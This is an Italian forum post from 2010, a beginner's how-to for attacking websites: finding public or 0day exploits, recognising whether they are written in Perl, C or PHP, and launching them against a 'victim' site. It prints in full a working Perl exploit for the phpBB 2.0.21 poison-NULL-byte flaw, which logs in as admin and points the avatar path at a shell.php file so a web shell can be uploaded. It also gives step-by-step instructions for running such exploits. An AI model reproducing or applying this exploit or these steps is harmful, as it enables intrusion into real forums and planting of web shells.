- 31 Dicembre 2010
- 353
- 0
- Miglior risposta
- 0
Ciao popolo dello Sciax2,vi posto questa guida a scopo informativo e quindi: Nè Io nè lo Sciax ci Prendiamo responsabilità su qualunque tipo di querela. Ok iniziamo. 1 - OTTENIAMO UN EXPLOIT Beh direi che il primo passo è fondamentale...sennò cosa facciamo, senza la base per il nostro howto? è bene ricordare che ci sono 2 tipi di exploit.. - public (exploit pubblici, molto probabilmente sono fixati e funzionano solo su vecchie versioni del sistema exploitato) - 0day (exploit che non sono stati ancora resi noti e che vi permetteranno 9 su 10 di essere root per nel sistema exploitato) P.S: con sistema intendo cms, so, webserver eccetera un buon sito di exploit pubblici è Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.basta andare su search e cercare il sistema che ci interessa, e troveremo una bella lista degli exploit disponibili...ad esempio, cerchiamo phpbb e avremo la lista di tutti gli exploit per phpbb e per le sue mod..ora non ci resta che trovare la versione...per esempio, il sito vittima ha la 2.0.21 o minore, allora prenderemo per esempio "phpBB <= 2.0.21 (Poison NULL Byte) Remote Exploit"..rinfreschiamoci la memoria con il significato dei simboli "<=" , che vogliono dire "minore o uguale". in caso di exploit specifico per una versione non avremo nessun simbolo ma solo il numero della versione. una volta che avermo l'exploit, copiamolo e incolliamolo in un file .txt sul nostro pc per studiarlo con calma...il primo passo è andato...2 - RICONOSCERE IN COSA E' STATO SCRITTO UN EXPLOIT Eccoci ora alla seconda fase...una volta scaricato l'exploit e apertolo, ci troveremo davanti questa cosa: Codice: #!/usr/bin/perl -w # Author: ShAnKaR # Title: multiple PHP application poison NULL byte vulnerability # Applications: phpBB 2.0.21, punBB 1.2.12 # Threat Level: Critical # Original advisory (in Russian): Perfavore,
Entra
oppure
Registrati
per vedere i Link!
# # Poison NULL byte vulnerability for perl CGI applications was described # in [1]. ShAnKaR noted, that same vulnerability also affects different # PHP applications. An example of vulnerable applications are phpBB and # punBB. # # Vulnerability can be used to upload or replace arbitrary files on # server, e.g. PHP scripts, by adding "poison NULL" (%00) to filename. # # In case of phpBB and punBB vulnerability can be exploited by changing # location of avatar file and uploading avatar file with PHP code in EXIF # data. # # A PoC exploit to change Avatar file location for phpBB: # # use HTTP::Cookies; use LWP; use URI::Escape; unless(@argV){die "USE:\n./phpbb.pl localhost.com/forum/ admin pass images/avatars/shell.php [d(DEBUG)]\n"} my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)'); $ua->cookie_jar( HTTP::Cookies->new()); $url='http://'.$ARGV[0].'/login.php'; $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1"; my $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); my $res = $ua->request($req); $res=$ua->get('http://'.$ARGV[0].'/login.php'); $content=$res->content; $content=~ m/true&sid=([^"]+)"/g; if($ARGV[4]){ $content=$res->content; print $content; } $url='http://'.$ARGV[0].'/login.php'; $data="username=".$ARGV[1]."&password=".$ARGV[2]."&login=1&admin=1"; $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); $url='http://'.$ARGV[0].'/admin/admin_board.php?sid='.$1; $data="submit=submit&allow_avatar_local=1&avatar_path=".$ARGV[3]."%00"; $req = new HTTP::Request 'POST',$url; $req->content_type('application/x-www-form-urlencoded'); $req->content($data); $res = $ua->request($req); if($ARGV[4]){ $content=$res->content; print $content; } # milw0rm.com [2006-09-11] questo è chiaramente un exploit scritto in perl. come facciamo a riconoscerli? abbiamo 3 tipologie comuni di exploit: - perl: si riconosce perchè comincia con "#!/usr/bin/perl" o con "#c:\perl\lib" (quest'ultimo raramente) - c/c++: si riconosce perchè comincia con degli include tipi della programmazione in c/c++, ad esempio: Codice: #include <stdio> #include <stdlib> #include <string> - php: si riconosce perchè comincia con "<?php" 3 - LANCIARE L'EXPLOIT a seconda del tipo di exploit faremo ora una cosa differente: - perl: ci scarichiamo l'interprete perl a questo link Perfavore,
Entra
oppure
Registrati
per vedere i Link!
e lo installiamo in c:\Perl (consigliato). a questo punto prendiamo il nostro exploit, lo rinominiamo ad esempio net.pl e lo piazziamo nella cartella c:\Perl\bin. a questo punto non ci resta che fare Start -> Esegui -> cmd e digitare nella console cd c:\Perl\bin (per spostarci nella cartella dove c'è l'exploit) e digitare net.pl. a questo punto l'exploit sarà lanciato e a voi non rimarrà altro da fare che aspettare. vorrei però ricordare che ci sono 2 tipi di exploit:- da "compilare": dovrete modificare il file .txt con i dati della vittima prima di rinominarlo in .pl - compilati: al momento del lancio dell'exploit, anzichè scrivere solo net.pl, dovrete specificare i dati. un esempio: net.pl Perfavore,
Entra
oppure
Registrati
per vedere i Link!
porta- c/c++: dovremo scaricare un compilatore per c/c++, e inserire il codice nel campo del compilatore debitamente modificato con i dati della vittima. indi, dovremo cliccare su compila e il nostro bel programma, salvo errori, ci sputerà fuori un bel file .exe che dovremo semplicemente lanciare... - php: dovremo rinominare il fil .txt in .php, e quindi upparlo su un server web e lanciarlo digitando il suo indirizzo nella barra degli indirizzi. anch'esso si divide in: - da "compilare": dovrete modificare il file .txt con i dati della vittima prima di rinominarlo in .php - compilati: al momento del lancio dell'exploit dovrete riempire i campi con i dati richiesti. Spero di essere stato di aiuto. Ringrazio anche PanicoPaura per avermi aiutato. alla prossima guida FONTE:Mia e di PanicoPaura |
Ultima modifica: